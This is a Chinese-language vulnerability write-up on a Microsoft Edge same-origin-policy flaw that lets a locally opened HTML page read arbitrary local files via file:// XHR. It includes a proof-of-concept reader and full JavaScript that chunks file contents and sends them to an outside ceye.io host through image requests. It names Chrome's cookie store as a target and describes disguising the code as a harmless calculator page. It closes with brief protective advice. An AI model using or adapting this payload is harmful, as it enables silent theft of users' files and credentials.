
漏洞介紹
近期看到文章介紹,稱Microsoft Edge對SOP同源策略處理存在問題,可導致任意文件泄露。
SOP同源策略是比較常見的,簡單來說,在訪問A域名時,如果B域名站點存在JS動作通過XHR請求了A域名網站下資源,該動作會被同源策略拒絕,因為它們非同源。
同源的判定標準是一個三元組,任意一個不同則判定不同源:協議、主機名、端口號
在瀏覽器中,可以使用file://協議來讀取文件,攻擊者如果想要讀取到訪問者的本地文件,由于http和file協議不同,不同源的情況下并不能做到。
但是這個限制在特定場景下就不存在了,如果惡意頁面是保存在本地的文件,通過瀏覽器打開html文件,URL中協議就是file://
,此時如果頁面中存在XHR請求file://
協議,該請求是符合同源要求的,可能導致本地文件讀取。
復現測試
0x01 準備工作
嘗試讀取的本地文件:

poc代碼:
<html>
<head>
</head>
<body>
<div id="result"></div>
</body>
<script>
let resultDiv = document.getElementById("result");
let xhr= new XMLHttpRequest();
xhr.open("GET","file://F:/AppServ/www/ctf/edge/edge.txt");
xhr.onreadystatechange= ()=> {
if(xhr.readyState==4) {
resultDiv.innerText = xhr.responseText;
}
}
xhr.send();
</script>
</html>
0x02 非Microsoft Edge瀏覽器測試
Chrome瀏覽器:提示同源策略請求只支持http,data,chrome,chrome-extension,https協議

fireforx瀏覽器:提示同源策略進制讀取,CORS只能是http協議

ie11瀏覽器:提示拒絕訪問

0x03 Microsoft Edge瀏覽器測試
看到的文章中測試版本是Microsoft Edge 40.15063.0.0
,這里測試使用的是比它更新的版本:

測試結果是:沒有觸發錯誤攔截信息,能夠直接獲取到本地文件內容:

相關拓展
0x01 任意數據外帶
在測試中是僅僅對一個txt文件內容進行了讀取,并將內容展示在頁面中。
還可以讀取其他瀏覽器存儲的一些cookie信息,如:
Chrome的cookie信息一般在
C:/Users/${user}/AppData/Local/Google/Chrome/User Data/Default/Cookies

攻擊者如果想要通過惡意頁面,將本地的數據帶出,也是輕而易舉的。比如,可以在js中創建img標簽,發起http請求攻擊者的服務器,并且攜帶讀取到的文件內容。
如果文件內容過長,get請求的URL會超長,還能對文件內容進行分割、間隔多次傳輸;
如果文件內容不僅是文本文字,或是圖片等,還能通過各種編碼進行包裝傳輸(如encodeURI):
let resultDiv = document.getElementById("result");
let data = "";
let xhr= new XMLHttpRequest();
let limit = 1024
xhr.open("GET","file://F:/AppServ/www/ctf/edge/edge.txt");
xhr.onreadystatechange= function () {
if(xhr.readyState==4) {
resultDiv.innerText = xhr.responseText;
url = "http://XXXXX.ceye.io/data/?data=";
// data = window.btoa(xhr.responseText);
data = encodeURI(xhr.responseText);
console.log(data.length)
let st=setInterval(function(){
img = document.createElement("img");
if (data.length <= limit) {
if (data.length == 0) {
clearInterval(st)
}else {
img.src = url + data;
resultDiv.appendChild(img);
clearInterval(st)
console.log("A:"+data.length)
}
} else {
temp = data.substr(0, limit);
data = data.substr(limit,data.length-1);
img.src = url + temp;
resultDiv.appendChild(img);
console.log("B:"+temp.length)
}
},1000)
}
}
xhr.send();

攻擊者接收的數據段之一:

0x02 隱藏偽裝
造成任意文件內容泄露的JS代碼本體并不大,可以隱藏在其他正常的下載頁面中,在用戶疏于防范的情況下隱蔽地執行;
結合社會工程等手段,可以更輕易地進行攻擊利用。
例如,當下載一個用于學習html的網頁,作者建議使用Microsoft Edge進行打開,你很可能會聽從作者建議就運行查看效果


當頁面功能顯示正常,是一個計算器的網頁,警惕心就沒有了。
當你可能還沉浸在玩耍它的計算功能和學習源碼的過程中時,攻擊者想要的你本地文件內容可能已經被偷偷傳走了

防護建議
1、不要隨意打開不能確定是否存在危害的文件,包括html文件(先看一遍源代碼)
2、使用解決了該問題的更新版本的Microsoft Edge
3、使用Chrome或者Firefox等瀏覽器